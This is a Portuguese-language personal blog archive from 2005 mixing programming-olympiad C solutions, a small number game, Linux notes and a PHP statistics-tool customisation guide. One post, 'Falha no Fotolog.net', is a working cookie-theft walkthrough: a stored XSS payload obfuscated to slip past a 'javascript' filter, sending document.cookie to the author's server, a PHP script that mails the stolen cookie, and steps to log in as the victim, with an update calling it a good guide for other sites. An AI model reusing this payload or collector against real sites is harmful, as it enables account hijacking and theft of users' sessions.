Arquivo mensais:fevereiro 2005

Palavras Cruzadas (OBI99)

ATENÇÃO: Este conteúdo foi publicado há 12 anos. Eu talvez nem concorde mais com ele. Se é um post sobre tecnologia, talvez não faça mais sentido. Mantenho neste blog o que escrevo desde os 14 anos por motivos históricos. Leia levando isso em conta.

Acabei de resolver o problema Palavras Cruzadas; até agora foi o mais difícil da OBI 1999 (ainda que fácil se comparado a problemas de outras OBIs mais recentes, como Rede Ótica e Orkut):

Palavras Cruzadas

O conhecido passatempo de palavras cruzadas é composto por uma grade retangular de quadrados branos e pretos e duas listas de definições. Uma das listas de definições é para palavras escritas da esquerda para a direita nos quadrados brancos (nas linhas) e a outra lista é para palavras que devem ser escritas de cima para baixo nos quadrados brancos (nas colunas). Uma palavra é uma sequência de dois ou mais caracteres do alfabeto. para resolver um jogo de palavras cruzadas, as palavras correspondentes às definições devem ser escritas nos quadrados brancos da grade.

[…]

Tarefa

Sua tarefa é escrever um programa que recebe como entrada vários jogos de palavras cruzadas resolvidas e produz as listas de palavras verticais e horizontais que constituem as soluções.

Na outra vez que eu tinha tentado fazer foi difícil, mas dessa vez foi tranquilo. Bom… O algoritmo tá bem simples e já coloquei na seção de scripts. Gostei do programa, a saída é bem bonita. :lol:

//Palavras Cruzadas - OBI1999
 
#include <stdio.h>
#define NMAX 102
 
int nu[NMAX][NMAX], proximonumero;
char mt[NMAX][NMAX];
 
int numera(i, j) {
	if (!nu[i][j]) {
		nu[i][j]=proximonumero++;
		//printf("É numerada a coordenada %d %d com %d.\n", i, j, nu[i][j]);
	}
}
 
int main() {
	int n, m, i, j, k, teste=1, vertical, horizontal;
	char enter;
 
	while (scanf("%d %d", &n, &m)&&n) {
		//imprime o número do teste
		printf("Teste %d\n", teste++);
		//zera as matrizes
		for (i=0; i<=n+1; i++) {
			for (j=0; j<=m+1; j++) {
				mt[i][j]='*';
				nu[i][j]=0;
			}
		}
		//pega o enter
		scanf("%c", &enter);
		//pega os chars e coloca na matriz
		for (i=1; i<=n; i++) {
			for (j=1; j<=m; j++) {
				scanf("%c", &mt[i][j]);
			}
			scanf("%c", &enter);
		}
		//define o proximo numero pra 1
		proximonumero=1;
		vertical=0;
		horizontal=0;
		//numera a matriz
		for (i=1; i<=n; i++) {
			for (j=1; j<=m; j++) {
				if (mt[i][j]!='*') {
					if (mt[i][j-1]=='*'&&mt[i][j+1]!='*') {
						numera(i, j);
						horizontal=1;
					}
					if (mt[i-1][j]=='*'&&mt[i+1][j]!='*') {
						numera(i, j);
						vertical=1;
					}
				}
			}
		}
		//imprime palavras horizontais
		if (horizontal) {
			printf("Horizontais:\n");
			for (i=1; i<=n; i++) {
				for (j=1; j<=m; j++) {
					if (mt[i][j]!='*'&&mt[i][j-1]=='*'&&mt[i][j+1]!='*') {
						printf("  %d. ", nu[i][j]);
						for (k=j; mt[i][k]!='*'; k++) {
						       printf("%c", mt[i][k]);
						}
				 		printf("\n");
					}
				}
			}
		}
 
		//imprime palavras verticais
		if (vertical) {
			printf("Verticais:\n");
			for (i=1; i<=n; i++) {
				for (j=1; j<=m; j++) {
					if (mt[i][j]!='*'&&mt[i-1][j]=='*'&&mt[i+1][j]!='*') {
					       printf("  %d. ", nu[i][j]);
					       for (k=i; mt[k][j]!='*'; k++) {
						       printf("%c", mt[k][j]);
					       }
					       printf("\n");
					}
				}
			}
		}
 
		//enter
		printf("\n");
	}
}

Estive utilizando o screen e Lynx, Tmsnc, etc. por um tempo. É muito bom, bastante leve. É uma ótima opção para computadores lentos ou pra quem não quer perder tempo abrindo modo gráfico (se bem que se for pra ir na internet, ainda vale mais a pena abrir um Fluxbox ou algo do tipo). Bom… Uma vantagem também é já usar Mutt e Tmsnc normalmente. Aliás, o TMSNC tá muito bom! Saiu essa semana o 0.2.0b com algumas novidades legais como sons de login, mensagens, etc.

Já passou uma semana de aula… É meio corrido e não dá muito tempo pra programar, mas acabo estudando TeX durante a aula para escrever os cadernos. O treino de vôlei vai começar esta semana e ainda não falei com o Vavá sobre o treino para as olimpíadas de matemática.

Consegui convencer dois amigos a usarem Firefox mostrando o meu post sobre o Fotolog.net e espero que este artigo da falha ajude a mostrar para as pessoas que o Internet Explorer é muito vulnerável. Já enviei também um e-mail ao administrador do Fotolog.net falando do bug.

No mais, nada…

Falha no Fotolog.net

ATENÇÃO: Este conteúdo foi publicado há 12 anos. Eu talvez nem concorde mais com ele. Se é um post sobre tecnologia, talvez não faça mais sentido. Mantenho neste blog o que escrevo desde os 14 anos por motivos históricos. Leia levando isso em conta.

Segue a descrição de como descobri que consigo pegar o cookie do Fotolog.net de qualquer pessoa que entra no meu profile, e com isso, poder:

  • Adicionar comentários em qualquer fotolog como a pessoa
  • Remover comentários do fotolog da pessoa
  • Adicionar/remover FF list
  • Ver e-mail de cadastro da pessoa

[update] Parece que isso não funciona mais hoje. De qualquer maneira, é um bom guia (acho que tá bem detalhado) para roubar cookies de vários outros sitemas que tenham falhas como esta (e não são poucos). [/update]

Nos últimos dias, alguém pegou a senha do Fotolog.net de um amigo meu e ele me pediu para que eu tentasse recuperar. Não consegui descobrir senha. Porém, usando furos do Fotolog.net e do Internet Explorer, descobri que consigo estar loggado com qualquer usuário que entre no meu perfil! Já que é preciso escrever a senha em cada página do Fotolog.net (upload, mudar profile, etc.) a única coisa que posso fazer loggado como a pessoa é escrever comentários, mas mesmo assim já é uma coisa estranha que merece a atenção do administrador do Fotolog.net (para o qual irei enviar um e-mail). Irei postar um “passo-a-passo” de como pegar o cookie de login do Fotolog.net e com isto, loggar como a pessoa que perdeu esse cookie.

O cookie do Fotolog.net dura mais de um ano… Isso é um problema grave de segurança, mas não é utilizando esta falha que faço tudo. O que eu fiz foi um JavaScript dentro de um CSS redirecionar para uma página PHP com função mail que me envia a função document.cookie do JavaScript que roda no cliente na página do Fotolog.net! É um pouco difícil de explicar, mas não tão complicado. Meu objetivo postando aqui não é incentivar que as pessoas façam isso (eu só fiz comigo mesmo testando), mas incentivar os que possuem conta no Fotolog.net usarem browsers decentes (como Firefox ou Opera) ou não clicar em profiles de estranhos. Tenho certeza de que hackers de verdade não usarão isto para o mal, mas sim para fins de aprendizagem, como eu fiz; mas parece que vários newbies por aí se acham e se acharão o máximo postando comentários como outras pessoas com a minha “receita de bolo”! Por esses, preciso lamentar e mandar ler a definição de hacker no Jargon File.

A primeira barreira que tive que ultrapassar foi que só 500 brasileiros por dia podem se registrar no Fotolog.net! Bom… Eu tava ansioso pra tentar fazer isso e já que eu não tinha tempo a perder, entrei no site Public Proxy Servers e usando um proxy high-anonimity do Vietnã me registrei no Fotolog.net… Perfeito! Apareceu que nenhum visitante do Vietnã tinha se cadastrado no dia.

Então, fui até o meu profile e no endereço do meu site eu tentei colocar aspas. Percebi que funcionou, então testei um código de bastante fácil entendimento:

#" style="background:url(javascript:location.href='http://tableless.tiagomadeira.net/foo.php'+escape(document.cookie))

Mas não funcionou porque o Fotolog.net não permite “javascript” na frase. Então após alguns testes cheguei ao:

#" style="background:url(ja       vas       cript:location.href=%27 http://www.tiagomadeira.net/r.php?c=%27       +escape(document.cookie))

OBS.: Tenho recebido e-mail de pessoas dizendo que o não cabe… O meu também não cabia, mas é só questão de diminuir o endereço.

Este código só funciona porque o Internet Explorer é problemático! Não tem nada a ver um JavaScript dentro de uma url de fundo e ainda ir para este endereço! E o Fotolog.net também tem um bug seríssimo porque não deveria poder se usar aspas no endereço de um site! Daí no meu profile aparece no lugar do endereço da minha página:

<a href="#" style="background:url(ja       vas       cript:location.href=%27 http://www.tiagomadeira.net/r.php?c=%27       +escape(document.cookie))">#" style="background:url(ja       vas       cript:location.href=%27 http://www.tiagomadeira.net/r.php?c=%27       +escape(document.cookie))</a>

Bom, depois disso basta fazer uma página PHP que passe este valor do c para um banco de dados ou e-mail (no meu caso, preferi por e-mail mesmo). Criei uma página no meu /r.php com:

< ?php
$cookie=$_GET["c"];
mail("meu@email", "Presente pra você!", "$cookie");
Header("Location: http://tableless.tiagomadeira.net");
?>

E o último problema que enfrentei então foi colocar este cookie no meu Firefox. Depois de vários testes, descobri que eu podia editar os cookies do meu Firefox. Para isto abri meu >~/.mozilla/firefox/profiles/??????.default/cookies.txt e modifiquei o cookie para o que eu recebi no e-mail. E finalmente loggado!

Vou tentar simplificar o “algoritmo”:

  • A pessoa está loggada (sempre, pois o cookie do fotolog.net é gigantesco) e entra no meu perfil.
  • Meu perfil pega o cookie do Fotolog.net deste computador (que precisa estar usando Internet Explorer) e me envia via a função mail do PHP.
  • Eu troco o cookie do meu Firefox pelo que eu recebi no e-mail e com isto fico loggado como a pessoa!

Interessante, né?

Bom, como já havia dito, isto foi apenas para fins de aprendizagem e descobri tudo isto justamente porque algum lammer pegou a senha de um amigo meu, mas espero que as pessoas aprendam a lição para não se tornarem as vítimas deste “golpe”.

Eu conheço três formas para se tornar resistente a esse golpe:

Bom… É isso aí.

Aprendi muito com isto e por isso compartilho este conhecimento neste post para que outros também possam aprender. Quem puder, divulgue para seus amigos para que eles não sejam vítimas desse tipo de coisa.

O Jogo do Sete

ATENÇÃO: Este conteúdo foi publicado há 12 anos. Eu talvez nem concorde mais com ele. Se é um post sobre tecnologia, talvez não faça mais sentido. Mantenho neste blog o que escrevo desde os 14 anos por motivos históricos. Leia levando isso em conta.

Meu professor de matemática Vavá (não é o Fabiano, que me dá aula de manhã e também é muito bom mas explica as coisas muito devagar para toda a sala entender; mas o que eu me refiro é o que me ajuda a aprender coisas lógicas e quem geralmente me ensina coisas mais interessantes como números binários e números complexos no treinamento para olimpíadas de matemática – e, consequentemente, de informática) me passou dois desafios lógicos pelo MSN. Um deles é um problema muito interessante que, depois de entender a lógica (o algoritmo), resolvi implementar num programa em C (as cores só funcionam em bash :) E, pelo amor de Deus, espero que alguém que programe e se interesse por isso use Linux!).

//Jogo do 7
 
#include <stdio.h>
 
int main() {
	int total, total2, recebido, enviado, i;
 
	total=0;
	i=1;
	printf("\n*** info: Jogo do Sete\n");
	printf("*** info: Desafio sugerido por Vavá.\n");
	printf("*** info: Algoritmo criado/implementado por Tiago Madeira.\n\n");
	printf("*** info: REGRAS DO JOGO\n");
	printf("1. Na primeira jogada, o primeiro jogador escolhe um número no conjunto A={1,2,3,4,5,6,7} e diz.\n");
	printf("2. As pessoas jogam alternadamente.\n");
	printf("3. Cada pessoa ao jogar, escolhe um elemento de A, soma-o ao número dito pela pessoa anterior e diz.\n");
	printf("4. Ganha quem disser o número 63.\n\n");
	printf("Tiago fala: Você pode começar, mas se fizer besteira pode ter certeza de que eu ganharei! =)\n");
	printf("\n*** info: Início de jogo.\n");
	while (total<63) {
		printf("Você fala: ");
		scanf("%d", &total2);
		recebido=total2-total;
		if (recebido>7||recebido<1) {
			printf("Tiago fala: Seu ladrão! Não quero mais jogar com você! =(\n");
			break;
		}
		total=total2;
		if (total==63) {
			printf("*** info: Fim de jogo.\n*** info: Você ganhou.\n");
			printf("\nTiago fala: Muito bem. Apelou pois contra meu algoritmo é necessário, mas\nTiago fala: pelo menos parece ter entendido a lógica do jogo.\n");
			break;
		} else {
			enviado=(total+1)%8;
			if (enviado!=0) {
				total+=8-enviado;
			} else {
				if (i>7) {
					i=1;
				}
				total+=i;
				i+=2;
			}
			printf("Tiago fala: %d\n", total);
			if (total==63) {
				printf("*** info: Fim de jogo.\n*** info: Você perdeu.\n");
				printf("\nTiago fala: Eu já sabia... =D\n");
			}
		}
	}
	printf("\n");
}

Hmmm… O robô que joga contra a pessoa (Tiago) é como eu jogaria contra alguém que tivesse que ganhar. Se o cara vacilar, o Tiago ganha; mas se o cara entender a lógica (na verdade, dá pra não entender a lógica e ir somente indo de 8 em 8, mas vale a pena perder um tempinho entendendo a lógica) ele ganha facilmente pois é ele que começa. Assim como existe esse “Jogo do Sete”, estive pensando que pode dar certo com todos os números (alterando algumas coisas, é claro). Não vou explicar tudo aqui, mas não é muito difícil de entender; aliás, é bem simples. No começo tem as regras.

Google

Tenho olhado as estatísticas do site e tem cada vez mais pessoas entrando no Google (graças a Deus ele indexou minhas páginas internas – mas ainda não meus scripts lógicos), mas geralmente de assuntos que meu site não trata! Tipo, tem umas coisas que até tudo bem, como “problemas lógicos” (meu site é o primeiro da lista ao procurar por essas palavras – E, aliás, se você tá aqui por causa disso, sugiro a lista maratona do YahooGrupos!), mas algumas que aparecem porque possuem as palavras soltas no texto, como:

  • símbolo anéis de formatura – Aparece meu site porque tem um post que tem “Senhor dos Anéis”, “Formatura” (da minha oitava série) e “Símbolos Matemáticos”
  • winrar código livre – Hmmm… Código livre eu já citei várias vezes e Winrar eu falei para quem quiser descompactar o zip do Shortstat.
  • biografia de kevin mitnick – Porque na minha biografia eu cito Kevin Mitnick

Início das Aulas

Hoje as aulas começaram. Minha banda tocou e foi legal (aula sem ter aula é legal! :D). Vou colocar umas fotos no Flickr…

Novos problemas lógicos da OBI99 resolvidos!

ATENÇÃO: Este conteúdo foi publicado há 12 anos. Eu talvez nem concorde mais com ele. Se é um post sobre tecnologia, talvez não faça mais sentido. Mantenho neste blog o que escrevo desde os 14 anos por motivos históricos. Leia levando isso em conta.

Baixei a prova da OBI99. Ao invés de ficar demorando nos difíceis, resolvi procurar os mais fáceis mas tentar fazer mais para não ter que pensar muito pois estava meio cansado. A prova de 1999 é muito boa. Os códigos que é preciso fazer pra maioria dos problemas são bastante simples, mas exigem bastante lógica. Precisa parar pra pensar mesmo…

Bom… Resolvi os três que achei mais fácil lendo o enunciado (depois farei o resto):

Trem ou Caminhão?

//Trem ou Caminhão? - OBI1999
#include <stdio.h>
 
int main() {
	int peso, teste=1;
	float caminhao[2], trem[2];
 
	while (scanf("%d", &peso)&&peso) {
		printf("Teste %d\n", teste++);
		scanf("%f %f %f %f", &caminhao[0], &caminhao[1], &trem[0], &trem[1]);
		if (caminhao[0]+caminhao[1]*peso<trem[0]+trem[1]*peso-1) {
			printf("envie por caminhao");
		} else {
			printf("envie por trem");
		}
		printf("\n\n");
	}
}

Restaurante

//Restaurante - OBI1999
 
#include <stdio.h>
#define NMAX 5001
 
int main() {
	int e[NMAX], s[NMAX], n, i, teste=1, pessoas;
 
	while (scanf("%d", &n)&&n) {
		for (i=0; i<n; i++) {
			scanf("%d", &s[i]);
		}
		for (i=0; i<n; i++) {
			scanf("%d", &e[i]);
		}
		pessoas=0;
		for (i=0; i<n; i++) {
			if (e[i]>s[n-i-1]&&(n-i)>pessoas) {
				pessoas=n-i;
			}
		}
 
		printf("Teste %d\npessoas: %d\n\n", teste++, pessoas);
	}
}

Sequências

//Sequências - OBI1999
 
#include <stdio.h>
 
int main() {
	char car, inutil;
	int v[3], teste=1;
 
	v[0]=0;
	v[1]=0;
	v[2]=0;
	while (scanf("%c", &car)) {
		if (car!='#') {
			if (v[2]==2) {
				v[2]=0;
			}
			//printf("%d%d%d\n", v[0], v[1], v[2]);
			v[0]=v[1];
			v[1]=v[2];
			if (car=='0') {
				v[2]=0;
			} else if (car=='1') {
				v[2]=1;
			} else {
				v[2]=2;
			}
		} else {
			if (v[2]==2) {
				break;
			} else {
				printf("Teste %d\n", teste++);
				if (!v[2]&&!v[1]) {
					printf("sim");
				} else {
					printf("nao");
				}
				printf("\n\n");
				v[0]=0;
				v[1]=0;
				v[2]=0;
			}
		}
	}
}

Não usei a entrada e a saída em arquivos como foi usado naquele ano, pois é uma coisa que não vale a pena perder tempo fazendo (não que seja complexo, mas só é ruim e mais demorado ficar escrevendo fscanf ao invés de scanf). Já coloquei a solução dos três na área de scripts e depois colocarei os outros três.

Já fiz a prova das OBIs de 2000 a 2004, e acho que não teve antes de 1999, então essa seria a última prova. Acho que ela tá bem difícil em relação as novas (o que é estranho, pois a partir de 2002 o nível foi aumentando).

O problema Palavras Cruzadas é muito interessante. Eu cheguei a começar a fazer mas ficou um código muito complicado e desisti (depois eu faço).

Fiquei com saudade da simplicidade do meu Slackware e formatei novamente minha partição Linux! Tirei o Debian e já estou configurando o Slackware. Dessa vez não vou compilar o Kernel 2.6 nem atualizar algumas coisas como KDE, Gnome, etc. pois da outra vez meu sistema acabou ficando “instável”. O Slackware 10.1 saiu e já estou pegando download (via bittorrent) para depois instalar. Parece estar bem bom… Várias coisas atualizadas! Só espero que seja estável…

Minhas aulas começam segunda-feira e minha banda (Zibian) vai fazer um show no meio da aula. Hoje ensaiamos e tá ficando legal (embora ainda não esteja bom pra tocar segunda). Já fiz um layout básico no TeX para meus cadernos, configurei Vim, Bash, Firefox, aMSN, etc. no Slack além de trocar splash do KDE, wallpaper, screensaver, configurar o X, LiLo, etc. Já tô ficando acostumado em configurar Linux de forma rápida por causa de tanta formatação… :lol:

OBS.: Acabei de constatar que meu site é o segundo resultado no Google quando se procura por “tableless” em português. :) Está atrás apenas de www.tableless.com.br.

Estatísticas de Visita com Shortstat

ATENÇÃO: Este conteúdo foi publicado há 12 anos. Eu talvez nem concorde mais com ele. Se é um post sobre tecnologia, talvez não faça mais sentido. Mantenho neste blog o que escrevo desde os 14 anos por motivos históricos. Leia levando isso em conta.

Comecei a usar o Shortstat para acompanhar as estatísticas do site. Porém, tive alguns problemas com ele (não exatamente problemas, mas coisas que eu acho melhor mudar). Exemplos:

  • As estatísticas de browser e sistema são contadas por hit… Eu acho muito mais sensato contar por visita (única), pois algumas pessoas contam vários hits (exemplo: eu) e daí as minhas estatísticas estavam dizendo que 80% dos visitantes usavam Linux!
  • Os webcrawlers e alguns browsers são registrados como sistema operacional desconhecido

Já que o sistema é feito em PHP, achei legal consertar estes problemas e até traduzir e colocar uma bandeira do lado dos países. emoticon Vou postar aqui um passo-a-passo de instalação e esas configuração do Shortstat para quem precisar. Achei ele um ótimo sistema de estatísticas (código super simples e bem direto) e tem tudo que eu preciso. :)

Introdução

O Shortstat é um programa de estatísticas da ShaunInman escrito em PHP que usa um banco de dados MySql para incluir os registros. O funcionamento é bastante simples. Em cada página, eu uso um include para um arquivo que conta visita e existe um arquivo que conta as estatísticas. Estou partindo do princípio que você já tem PHP e MySql configurados num servidor web.

Download

O download do programa .zip pode ser feito aqui:

http://www.shauninman.com/downloads/shortstat_v036b.zip

No Linux, use o comando unzip shortstat_v036b.zip para descompactar.

No Windows, use um programa como WinZip ou WinRar (ou o descompactador do Windows XP).

Arquivos Descompactados

  • configuration.php – Configuração do banco de dados
  • functions.php – Funções do programa (toda a parte de PHP)
  • inc.stats.php – Arquivo que deve ser incluído em cada página do site pra contar visita
  • index.php – Página onde se vê as estatísticas
  • styles.css – Estilos (css) da página index.php

E ainda tem os arquivos de instalação (que poderão ser deletados logo que acabar a instalação).

IP dos Países

O Shortstat vem com um arquivo de 2mb (_ip-to-country.txt) que tem um banco de dados com ip de vários países e outro php (_ip-to-country.php) que serve para instalar o suporte ao “ip-to-country”. Depois de instalar o Shortstat normal, nós vamos instalar também para saber de onde são os visitanets do site.

Instalação

Para instalar o Shortstat, edite o arquivo configuration.php colocando nas variáveis:

<?php
$SI_db['server']="servidor_do_mysql";
$SI_db['username']="username_do_mysql";
$SI_db['password']="senha_do_mysql";
$SI_db['database']="nome_do_banco_de_dados";
$tz_offset=seu_fuso_horario;
$shortstat=true;
?>

E rode o script de instalação (_install.php) no seu browser. Ele irá criar as tabelas no seu banco de dados. Daí basta acrescentar:

<?php @include_once("diretorio_do_shortstat/inc.stats.php"); ?>

… no início de cada arquivo que você quer que sejam contadas as estatísticas.

Antes de instalar o ip-to-country, eu criei uma coluna chamada codigopais no banco de dados MySql e modifiquei o arquivo functions.php criando uma função chamada verCodigoPais:

<?php
function verCodigoPais($ip) {
       if (!SI_isIPtoCountryInstalled()) return '';
       global $SI_tables;
       $ip = sprintf("%u",ip2long($ip));
 
       $query="SELECT country_code2 AS codigo FROM $SI_tables[countries] WHERE ip_from <= $ip AND ip_to >= $ip";
       if ($result=mysql_query($query)) {
              if ($r = mysql_fetch_array($result)) {
                     return $r['codigo'];
              }
       }
}
?>

No arquivo inc.stats.php, depois de atribuir um valor para a variável $ip, coloquei:

<?php
$cd     = verCodigoPais($ip);
?>

… e depois de colocar valor em todas as variáveis alterei a $query para:

<?php
$query = "INSERT INTO $SI_tables[stats] (remote_ip, country, codigopais,
domain, referer, resource, user_agent, platform, browser, version, dt)
VALUES ('$ip', '$cntry', '$cd', '$domain', '$ref', '$res', '$ua', '$br[platform]',
'$br[browser]', '$br[version]', $dt)";
?>

(a única mudança foi a adição da variável cd – que contém o código do país – no campo codigopais do banco de dados)

Agora basta imprimir a bandeira do país… Para isso, no arquivo functions.php alterei a função SI_getCountries:

<?php
function SI_getCountries() {
       global $SI_tables,$_SERVER;
 
       $query = "SELECT country, codigopais, COUNT(distinct(remote_ip)) AS 'total' 
                       FROM $SI_tables[stats]
                       WHERE country!='' 
                       GROUP BY country 
                       ORDER BY total DESC";
 
       if ($result = mysql_query($query)) {
              $ul  = "<table cellpadding="0" cellspacing="0" border="0">n";
              $ul .= "t<tr><th>Country</th><th class="last">Visits</th></tr>n";
              $i=0;
              while ($r = mysql_fetch_array($result)) {
                     if ($i < 36) {
                            $url = parse_url($r[referer]);
                            $ul .= "t<tr><td><img src="http://ip-to-country.webhosting.info/flag/?type=3&cc2=$r[codigopais]" alt="$r[codigopais]" /> $r[country]</td><td class="last">$r[total]</td></tr>n";
                            $i++;
                            }
                     }
              $ul .= "</table>";
              }
       return $ul;
}
?>

(note que a imagem é buscada direto do servidor do ip-to-country)

Então, agora é só instalar o ip-to-country, mas o arquivo de instalação só está servindo para colocar o nome do país no banco de dados (não o código). Basta modificar o arquivo _ip-to-country.php, alterando:

<?php
echo "<p>Mapping existing IPs to countries.</p>";
// Match existing ips to countries
$query = "SELECT id,remote_ip FROM $SI_tables[stats] WHERE country=''";
if ($result = mysql_query($query)) {
   while ($r = mysql_fetch_array($result)) {
      $country = SI_determineCountry($r[remote_ip]);
      $query = "UPDATE $SI_tables[stats] SET country='$country' WHERE id=$r[id]";
      mysql_query($query);
   }
}
?>

… para…

<?php
echo "<p>Mapping existing IPs to countries.</p>";
// Match existing ips to countries
$query = "SELECT id,remote_ip FROM $SI_tables[stats] WHERE country=''";
if ($result = mysql_query($query)) {
   while ($r = mysql_fetch_array($result)) {
      $country = SI_determineCountry($r[remote_ip]);
      $cd = verCodigoPais($r[remote_ip]);
      $query = "UPDATE $SI_tables[stats] SET country='$country' AND codigopais='$cd' WHERE id=$r[id]";
      mysql_query($query);
   }
}
?>

Daí é só rodar o arquivo _ip-to-country.php e o ip-to-country estará funcionando junto com o shortstat com bandeira do lado do país! :)

Estatísticas por visitas, não por hits

Eu alterei a função SI_getPlatforms por:

<?php
function SI_getPlatforms() {
       global $SI_tables;
       $th = SI_getUniqueHits();
       $query = "SELECT platform, COUNT(distinct(remote_ip)) AS 'total' 
                       FROM $SI_tables[stats]
                       GROUP BY platform
                       ORDER BY total DESC";
       if ($result = mysql_query($query)) {
              $ul  = "<table cellpadding="0" cellspacing="0" border="0">n";
              $ul .= "t<tr><th>Platform</th><th class="last">%</th></tr>n";
              while ($r = mysql_fetch_array($result)) {
                     $ul .= "t<tr><td>$r[platform]</td><td class="last">".number_format(($r[total]/$th)*100)."%</td></tr>n";
                     }
              $ul .= "</table>";
              }
       return $ul;
}
?>

A mudança foi o count usar distinct(remote_ip) e o $th ter o valor dos hits únicos (daí a porcentagem é contada a partir deles). A mudança na função SI_getBrowsers é semelhante:

<?php
function SI_getBrowsers() {
       global $SI_tables;
       $th = SI_getUniqueHits();
       $query = "SELECT browser, version, COUNT(distinct(remote_ip)) AS 'total' 
                       FROM $SI_tables[stats]
                       WHERE browser != 'Indeterminable' 
                       GROUP BY browser, version
                       ORDER BY total DESC";
       if ($result = mysql_query($query)) {
              $ul  = "<table cellpadding="0" cellspacing="0" border="0">n";
              $ul .= "t<tr><th>Browser</th><th>Version</th><th class="last">%</th></tr>n";
              while ($r = mysql_fetch_array($result)) {
                     $p = number_format(($r[total]/$th)*100);
                     // $p = ($p==0)?"&lt;1":$p;
                     if ($p>=1) {
                            $ul .= "t<tr><td>$r[browser]</td><td>$r[version]</td><td class="last">$p%</td></tr>n";
                            }
                     }
              $ul .= "</table>";
              }
       return $ul;
}
?>

Conclusão

Assim temos um Shortstat configurado para as minhas necessidades. Eu gosto assim, mas por ser um sistema de código bastante simples em PHP você pode configurar mais o que quiser. Eu traduzi (é só modificar as coisas no index.php) também (não tem uma grande utilidade, mas não custa…)

Espero que tenham gostado do “artigo” e qualquer dúvida ou crítica, postem um comentário ou enviem um e-mail.